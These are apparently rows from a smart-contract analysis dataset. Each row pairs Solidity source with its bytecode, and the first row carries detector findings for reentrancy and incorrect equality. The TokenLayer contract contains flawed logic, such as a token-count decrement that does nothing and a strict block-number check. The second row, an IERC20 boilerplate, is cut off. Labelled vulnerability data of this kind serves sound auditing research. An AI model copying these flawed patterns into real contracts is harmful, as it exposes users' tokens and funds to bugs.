uint256 price;
}
/******************************************* MODIFIERS **********************************************/
modifier onlySystem() {
require((msg.sender == gameAddress) || (msg.sender == manager));
_;
}
/****************************************** CONSTRUCTOR *********************************************/
function TokenLayer(address _gameAddress, address _parentAddr) public {
gameAddress = _gameAddress;
parentAddr = _parentAddr;
}
/********************************************** PUBLIC **********************************************/
function implementsERC721() public pure returns (bool) {
return true;
}
function name() public pure returns (string) {
return "CryptoJintori";
}
function symbol() public pure returns (string) {
return "PrefectureToken";
}
function approve(address _to, uint256 _tokenId, address _from) public onlySystem {
_approve(_to, _tokenId, _from);
}
function approve(address _to, uint256 _tokenId) public isUnlocked {
_approve(_to, _tokenId, msg.sender);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
function bundleToken(uint256 _tokenId) public view returns(uint256[8] _tokenData) {
Token storage token = tokenIndexToToken[_tokenId];
uint256[8] memory tokenData;
tokenData[0] = uint256(token.name);
tokenData[1] = token.parentId;
tokenData[2] = token.price;
tokenData[3] = uint256(token.owner);
tokenData[4] = _getNextPrice(_tokenId);
tokenData[5] = devFee+getChainFees(_tokenId);
tokenData[6] = uint256(token.approved);
tokenData[7] = uint256(token.metadata);
return tokenData;
}
function takeOwnership(uint256 _tokenId, address _to) public onlySystem {
_takeOwnership(_tokenId, _to);
}
function takeOwnership(uint256 _tokenId) public isUnlocked {
_takeOwnership(_tokenId, msg.sender);
}
function tokensOfOwner(address _owner) public view returns (uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 _totalTokens = totalSupply();
uint256 resultIndex = 0;
uint256 tokenId = 0;
uint256 tokenIndex = 0;
while (tokenIndex <= _totalTokens) {
if (exists(tokenId)) {
tokenIndex++;
if (tokenIndexToToken[tokenId].owner == _owner) {
result[resultIndex] = tokenId;
resultIndex++;
}
}
tokenId++;
}
return result;
}
}
function totalSupply() public view returns (uint256 total) {
return totalTokens;
}
function transfer(address _to, address _from, uint256 _tokenId) public onlySystem {
_checkThenTransfer(_from, _to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) public isUnlocked {
_checkThenTransfer(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public onlySystem {
_transferFrom(_from, _to, _tokenId);
}
function transferFrom(address _from, uint256 _tokenId) public isUnlocked {
_transferFrom(_from, msg.sender, _tokenId);
}
function createToken(
uint256 _tokenId, address _owner,
bytes32 _name, uint256 _parentId,
uint256 _price, bytes32 _metadata
) public onlyAdmin {
require(_price > 0);
require(_addressNotNull(_owner));
require(_tokenId == uint256(uint32(_tokenId)));
require(!exists(_tokenId));
totalTokens++;
Token memory _token = Token({
name: _name,
parentId: _parentId,
exists: true,
price: _price,
owner: _owner,
approved : 0,
lastBlock : block.number,
metadata : _metadata
});
tokenIndexToToken[_tokenId] = _token;
TokenCreated(_tokenId, _name, _parentId, _owner);
_transfer(address(0), _owner, _tokenId);
}
function createTokens(
uint256[] _tokenIds, address[] _owners,
bytes32[] _names, uint256[] _parentIds,
uint256[] _prices, bytes32[] _metadatas
) public onlyAdmin {
for (uint256 id = 0; id < _tokenIds.length; id++) {
createToken(
_tokenIds[id], _owners[id], _names[id],
_parentIds[id], _prices[id], _metadatas[id]
);
}
}
function deleteToken(uint256 _tokenId) public onlyAdmin {
require(_tokenId == uint256(uint32(_tokenId)));
require(exists(_tokenId));
totalTokens--;
address oldOwner = tokenIndexToToken[_tokenId].owner;
ownershipTokenCount[oldOwner] = ownershipTokenCount[oldOwner]--;
delete tokenIndexToToken[_tokenId];
TokenDeleted(_tokenId);
}
function incrementPrice(uint256 _tokenId, address _to) public onlySystem {
require(exists(_tokenId));
uint256 _price = tokenIndexToToken[_tokenId].price;
address _owner = tokenIndexToToken[_tokenId].owner;
uint256 _totalFees = getChainFees(_tokenId);
tokenIndexToToken[_tokenId].price = _price.mul(1000+ownerFee).div(1000-(devFee+_totalFees));
TokenSold(
_tokenId, _price, tokenIndexToToken[_tokenId].price,
_owner, _to, tokenIndexToToken[_tokenId].name,
tokenIndexToToken[_tokenId].parentId
);
}
function ownerOf(uint256 _tokenId) public view returns (address _owner) {
require(exists(_tokenId));
_owner = tokenIndexToToken[_tokenId].owner;
}
function blocked(uint256 _tokenId) public view returns (bool _blocked) {
return (tokenIndexToToken[_tokenId].lastBlock == block.number);
}
function exists(uint256 _tokenId) public view returns(bool) {
return (tokenIndexToToken[_tokenId].exists);
}
/********************************************** SETTERS *********************************************/
function setLayerParent(address _parent) public onlyAdmin {
parentAddr = _parent;
}
function setGame(address _gameAddress) public onlyAdmin {
gameAddress = _gameAddress;
}
function setPrice(uint256 _tokenId, uint256 _price, address _owner) public onlySystem {
require(_owns(_owner, _tokenId));
uint256 oldPrice = tokenIndexToToken[_tokenId].price;
tokenIndexToToken[_tokenId].price = _price;
PriceChanged(_tokenId, oldPrice, _price);
}
function setParent(uint256 _tokenId, uint256 _parentId) public onlyAdmin {
require(exists(_tokenId));
uint256 oldParentId = tokenIndexToToken[_tokenId].parentId;
tokenIndexToToken[_tokenId].parentId = _parentId;
ParentChanged(_tokenId, oldParentId, _parentId);
}
function setName(uint256 _tokenId, bytes32 _name) public onlyAdmin {
require(exists(_tokenId));
bytes32 oldName = tokenIndexToToken[_tokenId].name;
tokenIndexToToken[_tokenId].name = _name;
NameChanged(_tokenId, oldName, _name);
}
function setMetadata(uint256 _tokenId, bytes32 _metadata) public onlyAdmin {
require(exists(_tokenId));
bytes32 oldMeta = tokenIndexToToken[_tokenId].metadata;
tokenIndexToToken[_tokenId].metadata = _metadata;
MetaDataChanged(_tokenId, oldMeta, _metadata);
}
function setDevFee(uint256 _devFee) public onlyAdmin {
devFee = _devFee;
}
function setOwnerFee(uint256 _ownerFee) public onlyAdmin {
ownerFee = _ownerFee;
}
function setChainFees(uint256[10] _chainFees) public onlyAdmin {
chainFees = _chainFees;
}
/********************************************** GETTERS *********************************************/
function getToken(uint256 _tokenId) public view returns
(
bytes32 tokenName, uint256 parentId, uint256 price,
address _owner, uint256 nextPrice, uint256 nextPriceFees,
address approved, bytes32 metadata
) {
Token storage token = tokenIndexToToken[_tokenId];
tokenName = token.name;
parentId = token.parentId;
price = token.price;
_owner = token.owner;
nextPrice = _getNextPrice(_tokenId);
nextPriceFees = devFee+getChainFees(_tokenId);
metadata = token.metadata;
approved = token.approved;
}
function getChainFees(uint256 _tokenId) public view returns (uint256 _total) {
uint256 chainLength = _getChainLength(_tokenId);
uint256 totalFee = 0;
for (uint id = 0; id < chainLength; id++) {
totalFee = totalFee + chainFees[id];
}
return(totalFee);
}
function getChainFeeArray() public view returns (uint256[10] memory _chainFees) {
return(chainFees);
}
function getPriceOf(uint256 _tokenId) public view returns (uint256 price) {
require(exists(_tokenId));
return tokenIndexToToken[_tokenId].price;
}
function getParentOf(uint256 _tokenId) public view returns (uint256 parentId) {
require(exists(_tokenId));
return tokenIndexToToken[_tokenId].parentId;
}
function getMetadataOf(uint256 _tokenId) public view returns (bytes32 metadata) {
require(exists(_tokenId));
return (tokenIndexToToken[_tokenId].metadata);
}
function getChain(uint256 _tokenId) public view returns (address[10] memory _owners) {
require(exists(_tokenId));
uint256 _parentId = getParentOf(_tokenId);
address _parentAddr = parentAddr;
address[10] memory result;
if (_parentId != DEFAULTPARENT && _addressNotNull(_parentAddr)) {
uint256 resultIndex = 0;
TokenLayer layer = TokenLayer(_parentAddr);
bool parentExists = layer.exists(_parentId);
while ((_parentId != DEFAULTPARENT) && _addressNotNull(_parentAddr) && parentExists) {
parentExists = layer.exists(_parentId);
if (!parentExists) {
return(result);
}
result[resultIndex] = layer.ownerOf(_parentId);
resultIndex++;
_parentId = layer.getParentOf(_parentId);
_parentAddr = layer.parentAddr();
layer = TokenLayer(_parentAddr);
}
return(result);
}
}
/******************************************** PRIVATE ***********************************************/
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return (tokenIndexToToken[_tokenId].approved == _to);
}
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == tokenIndexToToken[_tokenId].owner;
}
function _checkThenTransfer(address _from, address _to, uint256 _tokenId) private {
require(_owns(_from, _tokenId));
require(_addressNotNull(_to));
require(exists(_tokenId));
_transfer(_from, _to, _tokenId);
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
ownershipTokenCount[_to]++;
tokenIndexToToken[_tokenId].owner = _to;
tokenIndexToToken[_tokenId].lastBlock = block.number;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
tokenIndexToToken[_tokenId].approved = 0;
}
Transfer(_from, _to, _tokenId);
}
function _approve(address _to, uint256 _tokenId, address _from) private {
require(_owns(_from, _tokenId));
tokenIndexToToken[_tokenId].approved = _to;
Approval(_from, _to, _tokenId);
}
function _takeOwnership(uint256 _tokenId, address _to) private {
address newOwner = _to;
address oldOwner = tokenIndexToToken[_tokenId].owner;
require(_addressNotNull(newOwner));
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
function _transferFrom(address _from, address _to, uint256 _tokenId) private {
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
function _getChainLength(uint256 _tokenId) private view returns (uint256 _length) {
uint256 length;
uint256 _parentId = getParentOf(_tokenId);
address _parentAddr = parentAddr;
if (_parentId == DEFAULTPARENT || !_addressNotNull(_parentAddr)) {
return 0;
}
TokenLayer layer = TokenLayer(_parentAddr);
bool parentExists = layer.exists(_parentId);
while ((_parentId != DEFAULTPARENT) && _addressNotNull(_parentAddr) && parentExists) {
parentExists = layer.exists(_parentId);
if(!parentExists) {
return(length);
}
_parentId = layer.getParentOf(_parentId);
_parentAddr = layer.parentAddr();
layer = TokenLayer(_parentAddr);
length++;
}
return(length);
}
function _getNextPrice(uint256 _tokenId) private view returns (uint256 _nextPrice) {
uint256 _price = tokenIndexToToken[_tokenId].price;
uint256 _totalFees = getChainFees(_tokenId);
_price = _price.mul(1000+ownerFee).div(1000-(devFee+_totalFees));
return(_price);
}
} | 0x6060604052600436106102425763ffffffff60e060020a60003504166301c6adc3811461024757806306fdde031461026b578063095ea7b3146102f55780630b7e9c44146103175780630c990004146103365780631051db34146103645780631271f09a1461038b57806313e75206146103b457806315328109146103dc57806318160ddd1461040b57806318384df21461041e5780631c75b6b214610434578063223e97be1461044a57806323b872dd146104635780632ce0ca6b1461048b5780633151609e146104c7578063481c6a75146104e05780634f558e79146104f357806353ebf6bd146105095780636297c16c146105215780636352211e14610537578063645cd0461461054d5780636827e7641461059c57806370a08231146105af578063718eaa50146105ce578063819912a2146105ed5780638462151c1461060c578063897a7dab1461067e5780638da5cb5b1461080d57806395d89b41146108205780639d77e4f814610833578063a12396aa14610849578063a168d87314610862578063a9059cbb14610875578063b2e6ceeb14610897578063b54b4fb9146108ad578063b6791ad4146108c3578063b7d9549c146108f4578063ba0e930a14610916578063beabacc814610935578063c10753291461095d578063ce2c6ad51461097f578063cf837fad14610992578063d5182b70146109a5578063d5b2a01a146109bb578063e4b50cb8146109ce578063f2fde38b14610a34578063f83fcdea14610a53578063fbf0ade114610a78578063ff5f8b4b14610a8e575b600080fd5b341561025257600080fd5b610269600160a060020a0360043516602435610ab0565b005b341561027657600080fd5b61027e610ad6565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102ba5780820151838201526020016102a2565b50505050905090810190601f1680156102e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561030057600080fd5b610269600160a060020a0360043516602435610b18565b341561032257600080fd5b610269600160a060020a0360043516610b3a565b341561034157600080fd5b610269600435600160a060020a036024351660443560643560843560a435610be3565b341561036f57600080fd5b610377610dd3565b604051901515815260200160405180910390f35b341561039657600080fd5b610269600160a060020a036004358116906024359060443516610dd8565b34156103bf57600080fd5b6103ca600435610e1e565b60405190815260200160405180910390f35b34156103e757600080fd5b6103ef610e4a565b604051600160a060020a03909116815260200160405180910390f35b341561041657600080fd5b6103ca610e59565b341561042957600080fd5b6103ca600435610e5f565b341561043f57600080fd5b610269600435610e8c565b341561045557600080fd5b610269600435602435610ec7565b341561046e57600080fd5b610269600160a060020a0360043581169060243516604435610f7d565b341561049657600080fd5b610269600461014481600a610140604051908101604052919082826101408082843750939550610fbe945050505050565b34156104d257600080fd5b610269600435602435611001565b34156104eb57600080fd5b6103ef6110b7565b34156104fe57600080fd5b6103776004356110c6565b341561051457600080fd5b61026960043515156110db565b341561052c57600080fd5b610269600435611182565b341561054257600080fd5b6103ef600435611290565b341561055857600080fd5b6105636004356112c5565b604051808261010080838360005b83811015610589578082015183820152602001610571565b5050505090500191505060405180910390f35b34156105a757600080fd5b6103ca611363565b34156105ba57600080fd5b6103ca600160a060020a0360043516611369565b34156105d957600080fd5b610269600160a060020a0360043516611384565b34156105f857600080fd5b610269600160a060020a03600435166113dc565b341561061757600080fd5b61062b600160a060020a0360043516611434565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561066a578082015183820152602001610652565b505050509050019250505060405180910390f35b341561068957600080fd5b6102696004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061153495505050505050565b341561081857600080fd5b6103ef61160e565b341561082b57600080fd5b61027e61161d565b341561083e57600080fd5b6103ca60043561165e565b341561085457600080fd5b6102696004356024356116a4565b341561086d57600080fd5b6103ef61175a565b341561088057600080fd5b610269600160a060020a0360043516602435611769565b34156108a257600080fd5b61026960043561178b565b34156108b857600080fd5b6103ca6004356117ac565b34156108ce57600080fd5b6108d96004356117d8565b60405180826101408083836000815183820152602001610571565b34156108ff57600080fd5b610269600435600160a060020a0360243516611ab6565b341561092157600080fd5b610269600160a060020a0360043516611c07565b341561094057600080fd5b610269600160a060020a0360043581169060243516604435611cb0565b341561096857600080fd5b610269600160a060020a0360043516602435611cf1565b341561098a57600080fd5b6108d9611d9d565b341561099d57600080fd5b610377611ddc565b34156109b057600080fd5b610377600435611dec565b34156109c657600080fd5b6103ca611e03565b34156109d957600080fd5b6109e4600435611e09565b6040519788526020880196909652604080880195909552600160a060020a039384166060880152608087019290925260a08601521660c084015260e0830191909152610100909101905180910390f35b3415610a3f57600080fd5b610269600160a060020a0360043516611e84565b3415610a5e57600080fd5b610269600435602435600160a060020a0360443516611f12565b3415610a8357600080fd5b610269600435611fca565b3415610a9957600080fd5b610269600435600160a060020a0360243516612005565b60015460a060020a900460ff1615610ac757600080fd5b610ad2823383612045565b5050565b610ade6125c6565b60408051908101604052600d81527f43727970746f4a696e746f726900000000000000000000000000000000000000602082015290505b90565b60015460a060020a900460ff1615610b2f57600080fd5b610ad282823361208e565b60005433600160a060020a03908116911614610b5557600080fd5b600160a060020a0381161515610ba357600054600160a060020a039081169030163180156108fc0290604051600060405180830381858888f193505050501515610b9e57600080fd5b610be0565b80600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f193505050501515610be057600080fd5b50565b610beb6125d8565b60015433600160a060020a0390811691161480610c16575060005433600160a060020a039081169116145b1515610c2157600080fd5b60008311610c2e57600080fd5b610c3786612123565b1515610c4257600080fd5b63ffffffff87168714610c5457600080fd5b610c5d876110c6565b15610c6757600080fd5b60068054600101905561010060405190810160409081526001825260006020808401829052600160a060020a038a168385015260608401869052608084018990524360a085015260c0840188905260e084018790528a8252600290522090915081908151815460ff191690151517815560208201518154600160a060020a03919091166101000274ffffffffffffffffffffffffffffffffffffffff00199091161781556040820151600182018054600160a060020a031916600160a060020a0392909216919091179055606082015160028201556080820151600382015560a0820151816004015560c0820151816005015560e0820151600690910155507f50149f528b157cc2203af9bb98c3c320364694d9ffc6da5cc0b5ef6d2e8a1398878686896040519384526020840192909252604080840191909152600160a060020a0390911660608301526080909101905180910390a1610dca60008789612131565b50505050505050565b600190565b60045433600160a060020a0390811691161480610e03575060015433600160a060020a039081169116145b1515610e0e57600080fd5b610e1983838361208e565b505050565b6000610e29826110c6565b1515610e3457600080fd5b5060009081526002602052604090206005015490565b600554600160a060020a031681565b60065490565b6000610e6a826110c6565b1515610e7557600080fd5b506000908152600260208190526040909120015490565b60015433600160a060020a0390811691161480610eb7575060005433600160a060020a039081169116145b1515610ec257600080fd5b600755565b60015460009033600160a060020a0390811691161480610ef5575060005433600160a060020a039081169116145b1515610f0057600080fd5b610f09836110c6565b1515610f1457600080fd5b5060008281526002602052604090819020600501805490839055907fd6c4347571cebd49451e87a1c1b833ca84791009a139f27d0dcf3159e96a08a5908490839085905180848152602001838152602001828152602001935050505060405180910390a1505050565b60045433600160a060020a0390811691161480610fa8575060015433600160a060020a039081169116145b1515610fb357600080fd5b610e19838383612045565b60015433600160a060020a0390811691161480610fe9575060005433600160a060020a039081169116145b1515610ff457600080fd5b610ad2600982600a61261c565b60015460009033600160a060020a039081169116148061102f575060005433600160a060020a039081169116145b151561103a57600080fd5b611043836110c6565b151561104e57600080fd5b5060008281526002602081905260409182902001805490839055907fb7b3fa00c09f5253e4c6bc72c004a0977965613f9f533cfb93014dade835fcb5908490839085905192835260208301919091526040808301919091526060909101905180910390a1505050565b600154600160a060020a031681565b60009081526002602052604090205460ff1690565b60015433600160a060020a0390811691161480611106575060005433600160a060020a039081169116145b151561111157600080fd5b6001805474ff0000000000000000000000000000000000000000191660a060020a831515021790557fd1b3ccafda2b2f8613e51c6ac4f6e844932f92b0058df6d7ee800b152f55a00d3382604051600160a060020a039092168252151560208201526040908101905180910390a150565b60015460009033600160a060020a03908116911614806111b0575060005433600160a060020a039081169116145b15156111bb57600080fd5b63ffffffff821682146111cd57600080fd5b6111d6826110c6565b15156111e157600080fd5b50600680546000190181556000828152600260208190526040808320600181018054825474ffffffffffffffffffffffffffffffffffffffffff19168355600160a060020a0319811690915592810184905560038101849055600481018490556005810184905590930191909155600160a060020a0316907f5dd85a7dcd757c302c9d79eb5d4c00cfb8c98f5f4f41c52408f7d25233e54e959083905190815260200160405180910390a15050565b600061129b826110c6565b15156112a657600080fd5b50600090815260026020526040902060010154600160a060020a031690565b6112cd61265a565b60006112d761265a565b600084815260026020908152604091829020600381015484526005810154918401919091526006810154918301919091526001810154600160a060020a0316606083015291506113268461221b565b60808201526113348461165e565b6007540160a082015281546101009004600160a060020a031660c082015260029091015460e082015292915050565b60075481565b600160a060020a031660009081526003602052604090205490565b60015433600160a060020a03908116911614806113af575060005433600160a060020a039081169116145b15156113ba57600080fd5b60058054600160a060020a031916600160a060020a0392909216919091179055565b60015433600160a060020a0390811691161480611407575060005433600160a060020a039081169116145b151561141257600080fd5b60048054600160a060020a031916600160a060020a0392909216919091179055565b61143c6125c6565b60006114466125c6565b60008060008061145588611369565b955085151561148557600060405180591061146d5750595b90808252806020026020018201604052509650611529565b856040518059106114935750595b908082528060200260200182016040525094506114ae610e59565b93506000925060009150600090505b838111611525576114cd826110c6565b1561151a576000828152600260205260409020600190810154910190600160a060020a038981169116141561151a578185848151811061150957fe5b602090810290910101526001909201915b6001909101906114bd565b8496505b505050505050919050565b60015460009033600160a060020a0390811691161480611562575060005433600160a060020a039081169116145b151561156d57600080fd5b5060005b8651811015610dca5761160687828151811061158957fe5b9060200190602002015187838151811061159f57fe5b906020019060200201518784815181106115b557fe5b906020019060200201518785815181106115cb57fe5b906020019060200201518786815181106115e157fe5b906020019060200201518787815181106115f757fe5b90602001906020020151610be3565b600101611571565b600054600160a060020a031681565b6116256125c6565b60408051908101604052600f81527f50726566656374757265546f6b656e00000000000000000000000000000000006020820152905090565b60008060008061166d85612266565b925060009150600090505b8281101561169c57600981600a811061168d57fe5b01549190910190600101611678565b509392505050565b60015460009033600160a060020a03908116911614806116d2575060005433600160a060020a039081169116145b15156116dd57600080fd5b6116e6836110c6565b15156116f157600080fd5b5060008281526002602052604090819020600301805490839055907f6e94426bbffb1bc76323b8410b8c5a5197aee10363f4ed90079eb17a4c07eef5908490839085905192835260208301919091526040808301919091526060909101905180910390a1505050565b600454600160a060020a031681565b60015460a060020a900460ff161561178057600080fd5b610ad23383836124a8565b60015460a060020a900460ff16156117a257600080fd5b610be081336124da565b60006117b7826110c6565b15156117c257600080fd5b5060009081526002602052604090206006015490565b6117e0612682565b6000806117eb612682565b60008060006117f9886110c6565b151561180457600080fd5b61180d88610e1e565b600554909650600160a060020a0316945063075bcd158614801590611836575061183685612123565b15611529576000925084915081600160a060020a0316634f558e798760006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561189157600080fd5b6102c65a03f115156118a257600080fd5b50505060405180519150505b63075bcd1586141580156118c657506118c685612123565b80156118cf5750805b15611aae5781600160a060020a0316634f558e798760006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561192357600080fd5b6102c65a03f1151561193457600080fd5b505050604051805191505080151561194e57839650611529565b81600160a060020a0316636352211e8760006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561199d57600080fd5b6102c65a03f115156119ae57600080fd5b505050604051805190508484600a81106119c457fe5b600160a060020a03928316602091909102919091015260019093019282166313e752068760006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515611a2757600080fd5b6102c65a03f11515611a3857600080fd5b5050506040518051965050600160a060020a03821663153281096000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611a8957600080fd5b6102c65a03f11515611a9a57600080fd5b5050506040518051905094508491506118ae565b839650611529565b6004546000908190819033600160a060020a0390811691161480611ae8575060015433600160a060020a039081169116145b1515611af357600080fd5b611afc856110c6565b1515611b0757600080fd5b60008581526002602052604090206006810154600190910154909350600160a060020a03169150611b378561165e565b9050611b6a81600754016103e803611b5e6008546103e8018661253190919063ffffffff16565b9063ffffffff61256716565b600086815260026020526040908190206006810183905560038101546005909101547feb27367f0e316117420e252c8ac385803e0c10190473338e035ef412226cf17a9389938893919288928b92909190519687526020870195909552604080870194909452600160a060020a0392831660608701529116608085015260a084015260c083019190915260e0909101905180910390a15050505050565b60015433600160a060020a0390811691161480611c32575060005433600160a060020a039081169116145b1515611c3d57600080fd5b600160a060020a0381161515611c5257600080fd5b600154600160a060020a0380831691167f9cb45c728de594dab506a1f1a8554e24c8eeaf983618d5ec5dd7bc6f3c49feee60405160405180910390a360018054600160a060020a031916600160a060020a0392909216919091179055565b60045433600160a060020a0390811691161480611cdb575060015433600160a060020a039081169116145b1515611ce657600080fd5b610e198284836124a8565b60005433600160a060020a03908116911614611d0c57600080fd5b600160a060020a0330163181901015611d2457600080fd5b600160a060020a0382161515611d6c57600054600160a060020a031681156108fc0282604051600060405180830381858888f193505050501515611d6757600080fd5b610ad2565b600160a060020a03821681156108fc0282604051600060405180830381858888f193505050501515610ad257600080fd5b611da56126ab565b6009600a6101406040519081016040529190610140830182845b815481526020019060010190808311611dbf575050505050905090565b60015460a060020a900460ff1681565b600090815260026020526040902060040154431490565b60085481565b60008181526002602052604081206003810154600582015460068301546001840154929491939092600160a060020a03169190819081908190611e4b8a61221b565b9450611e568a61165e565b600754600283015492549a9c999b5097999698959701956101009004600160a060020a031694909350915050565b60005433600160a060020a03908116911614611e9f57600080fd5b600160a060020a0381161515611eb457600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054600160a060020a031916600160a060020a0392909216919091179055565b60045460009033600160a060020a0390811691161480611f40575060015433600160a060020a039081169116145b1515611f4b57600080fd5b611f55828561257e565b1515611f6057600080fd5b5060008381526002602052604090819020600601805490849055907f2bce37c591c5b0d254c3056688b080a088f160fff82b6e79f456c8a20d5570f6908590839086905180848152602001838152602001828152602001935050505060405180910390a150505050565b60015433600160a060020a0390811691161480611ff5575060005433600160a060020a039081169116145b151561200057600080fd5b600855565b60045433600160a060020a0390811691161480612030575060015433600160a060020a039081169116145b151561203b57600080fd5b610ad282826124da565b61204f838261257e565b151561205a57600080fd5b61206482826125a1565b151561206f57600080fd5b61207882612123565b151561208357600080fd5b610e19838383612131565b612098818361257e565b15156120a357600080fd5b600082815260026020526040908190208054600160a060020a03808716610100810274ffffffffffffffffffffffffffffffffffffffff00199093169290921790925591908316907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a3505050565b600160a060020a0316151590565b600160a060020a0380831660008181526003602090815260408083208054600190810190915586845260029092529091209081018054600160a060020a031916909217909155436004909101558316156121cf57600160a060020a0383166000908152600360209081526040808320805460001901905583835260029091529020805474ffffffffffffffffffffffffffffffffffffffff00191690555b81600160a060020a031683600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a3505050565b600081815260026020526040812060060154816122378461165e565b905061225e81600754016103e803611b5e6008546103e8018561253190919063ffffffff16565b949350505050565b60008060008060008061227887610e1e565b600554909450600160a060020a0316925063075bcd158414806122a1575061229f83612123565b155b156122af576000955061249e565b82915081600160a060020a0316634f558e798560006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561230157600080fd5b6102c65a03f1151561231257600080fd5b50505060405180519150505b63075bcd158414158015612336575061233683612123565b801561233f5750805b1561249a5781600160a060020a0316634f558e798560006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561239357600080fd5b6102c65a03f115156123a457600080fd5b50505060405180519150508015156123be5784955061249e565b81600160a060020a03166313e752068560006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561240d57600080fd5b6102c65a03f1151561241e57600080fd5b5050506040518051945050600160a060020a03821663153281096000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561246f57600080fd5b6102c65a03f1151561248057600080fd5b5050506040518051600190960195935083925061231e9050565b8495505b5050505050919050565b6124b2838261257e565b15156124bd57600080fd5b6124c682612123565b15156124d157600080fd5b612078816110c6565b6000828152600260205260409020600101548190600160a060020a031661250082612123565b151561250b57600080fd5b61251582856125a1565b151561252057600080fd5b61252b818386612131565b50505050565b6000808315156125445760009150612560565b5082820282848281151561255457fe5b041461255c57fe5b8091505b5092915050565b600080828481151561257557fe5b04949350505050565b600090815260026020526040902060010154600160a060020a0390811691161490565b6000908152600260205260409020546101009004600160a060020a0390811691161490565b60206040519081016040526000815290565b6101006040519081016040908152600080835260208301819052908201819052606082018190526080820181905260a0820181905260c0820181905260e082015290565b82600a810192821561264a579160200282015b8281111561264a57825182559160200191906001019061262f565b506126569291506126c6565b5090565b6101006040519081016040526008815b600081526020019060019003908161266a5790505090565b610140604051908101604052600a815b6000815260001990910190602001816126925790505090565b6101406040519081016040526000815260096020820161266a565b610b1591905b8082111561265657600081556001016126cc5600a165627a7a72305820caa4aab0374005a43b0f069400ef7ea8ca02ec0a9fc505e4c0714dd73a0b5bb70029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 9,645 |
0x845eE867b10C5818c35656efe6D22C57a8091A69 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
